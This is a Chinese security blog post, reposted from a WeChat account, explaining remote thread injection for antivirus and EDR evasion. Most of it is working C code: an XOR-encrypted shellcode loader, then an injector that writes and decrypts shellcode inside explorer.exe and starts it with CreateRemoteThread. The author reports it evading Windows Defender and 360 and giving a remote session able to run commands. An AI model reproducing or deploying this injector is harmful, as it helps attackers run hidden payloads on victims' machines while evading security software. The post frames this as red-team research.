远程线程注入:让别的程序替你干活

admin 2025年6月18日20:18:07评论4 views字数 4111阅读13分42秒阅读模式

📌 免责声明:本系列文章仅供网络安全研究人员在合法授权下学习与研究使用,严禁用于任何非法目的。违者后果自负。

远程线程注入(Remote Thread Injection)是一种常见的进程注入技术,经常用于红队渗透、恶意软件加载、持久化控制等场景中,尤其在免杀(AV/EDR bypass)应用领域中,是一种历史悠久但依然有效的手段。

一、什么是远程线程注入

简单来说,就是:将恶意代码注入到目标进程的内存空间中,并在该进程内启动一个新的线程来执行这段代码。

这个过程涉及两个核心点:

1、代码注入:把你的payload(比如shellcode)写进别的进程的内存中;

2、线程创建:让目标进程自己启动线程执行这段payload。

二、技术实现步骤(典型流程)

1、打开目标进程

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

2、在目标进程内申请内存

LPVOID remoteAddr = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

3、写入Shellcode或Payload 

WriteProcessMemory(hProcess, remoteAddr, shellcode, shellcodeSize, NULL);

4、 创建远程线程执行Payload

CreateRemoteThread(hProcess, NULL0, (LPTHREAD_START_ROUTINE)remoteAddr, NULL0NULL);
三、免杀角度的优势

1、代码不在自身进程中执行,容易绕过行为分析;

2、注入到可信进程中(如 explorer.exe、svchost.exe),有助于混淆监控;

3、可结合过程混淆(obfuscation)、API动态解析、加密Shellcode等技术进一步绕过EDR。

四、免杀效果演示
还是拿只进行了XOR加密处理的加载器代码进行改造

1、单纯XOR加密加载器

...// 使用字符串 "kun" 作为 XOR keyunsigned char xor_key[] = { 'k''u''n' };const size_t key_len = sizeof(xor_key);// XOR混淆的 shellcode(请用你的真实 shellcode 替换)unsigned char encoded_shellcode[] = "x97x3dxedx8f..." /* shellcode 省略,原样复制 */;size_t shellcode_len = sizeof(encoded_shellcode);intmain(){    // 申请 RWX 内存    LPVOID exec_mem = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    if (!exec_mem) {        printf("VirtualAlloc failed.n");        return -1;    }    // 复制加密的 shellcode 到可执行内存    memcpy(exec_mem, encoded_shellcode, shellcode_len);    // 在已加载的内存中解密 shellcode    for (size_t i = 0; i < shellcode_len; ++i) {        ((unsigned char*)exec_mem)[i] ^= xor_key[i % key_len];    }    // 创建线程执行 shellcode    HANDLE hThread = CreateThread(NULL0, (LPTHREAD_START_ROUTINE)exec_mem, NULL0NULL);    if (!hThread) {        printf("CreateThread failed.n");        VirtualFree(exec_mem, 0, MEM_RELEASE);        return -1;    }...

2、改成远程线程注入

...// 已XOR加密的shellcodeunsigned char shellcode[] = "x97x3dxedx8f...";SIZE_T shellcodeSize = sizeof(shellcode);// 通过进程名称查找PID(Unicode版本)DWORD findPidByName(const wchar_t* procName) {    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    if (hSnap == INVALID_HANDLE_VALUE) return 0;    PROCESSENTRY32W pe = { 0 };    pe.dwSize = sizeof(pe);    if (Process32FirstW(hSnap, &pe)) {        do {            if (_wcsicmp(pe.szExeFile, procName) == 0) {                CloseHandle(hSnap);                return pe.th32ProcessID;            }        } while (Process32NextW(hSnap, &pe));    }    CloseHandle(hSnap);    return 0;}int main() {    // 1. 找到已运行的目标进程PID    DWORD pid = findPidByName(L"explorer.exe");    if (!pid) {        wprintf(L"[-] 无法找到目标进程: notepad.exen");        return -1;    }    // 2. 打开目标进程    HANDLE hProcess = OpenProcess(        PROCESS_CREATE_THREAD |        PROCESS_VM_OPERATION |        PROCESS_VM_WRITE |        PROCESS_VM_READ,        FALSE, pid);    if (!hProcess) {        wprintf(L"[-] OpenProcess 失败 (%u)n", GetLastError());        return -1;    }    // 3. 分配远程内存    LPVOID remoteAddr = VirtualAllocEx(        hProcess, NULL,        shellcodeSize,        MEM_COMMIT | MEM_RESERVE,        PAGE_EXECUTE_READWRITE);    if (!remoteAddr) {        wprintf(L"[-] VirtualAllocEx 失败 (%u)n", GetLastError());        CloseHandle(hProcess);        return -1;    }    // 4. 写入已加密shellcode    if (!WriteProcessMemory(        hProcess, remoteAddr,        shellcode, shellcodeSize, NULL))    {        wprintf(L"[-] WriteProcessMemory 失败 (%u)n", GetLastError());        CloseHandle(hProcess);        return -1;    }    // 5. 远程内存XOR解密 (Key = "kun")    unsigned char xorKey[] = "kun";    SIZE_T keyLen = sizeof(xorKey) - 1;    for (SIZE_T i = 0; i < shellcodeSize; ++i) {        BYTE b;        ReadProcessMemory(hProcess,            (LPCVOID)((BYTE*)remoteAddr + i),            &b, 1NULL);        b ^= xorKey[i % keyLen];        WriteProcessMemory(hProcess,            (LPVOID)((BYTE*)remoteAddr + i),            &b, 1NULL);    }    wprintf(L"[+] Shellcode 已写入并解密n");    // 6. 创建远程线程执行Shellcode    HANDLE hThread = CreateRemoteThread(        hProcess, NULL0,        (LPTHREAD_START_ROUTINE)remoteAddr,        NULL0NULL);    if (!hThread) {        wprintf(L"[-] CreateRemoteThread 失败 (%u)n", GetLastError());    }    else {        wprintf(L"[+] 远程线程已创建 (TID: %u)n", GetThreadId(hThread));        CloseHandle(hThread);    }...

3、编译出来,拉到DF检测,结果如图

远程线程注入:让别的程序替你干活

4、运行测试,成功上线且能执行命令,绕过DF!

远程线程注入:让别的程序替你干活

5、手贱一下,多做一步。这里也放到360上看看:执行上线后,原程序被杀,但是目标已经借助其他程序上线,后续不影响执行命令

远程线程注入:让别的程序替你干活
五、结语

远程线程注入是经典但逐渐显老的手段,在红队演练与安全研究中仍然可以用,但需要叠加混淆/绕过技巧才能在免杀中长期站得住脚。

#远程线程注入 #RemoteThread #进程注入 #红队演练 #行为绕过

原文始发于微信公众号(仇辉攻防):远程线程注入:让别的程序替你“干活”

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月18日20:18:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   远程线程注入:让别的程序替你干活https://cn-sec.com/archives/4177302.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息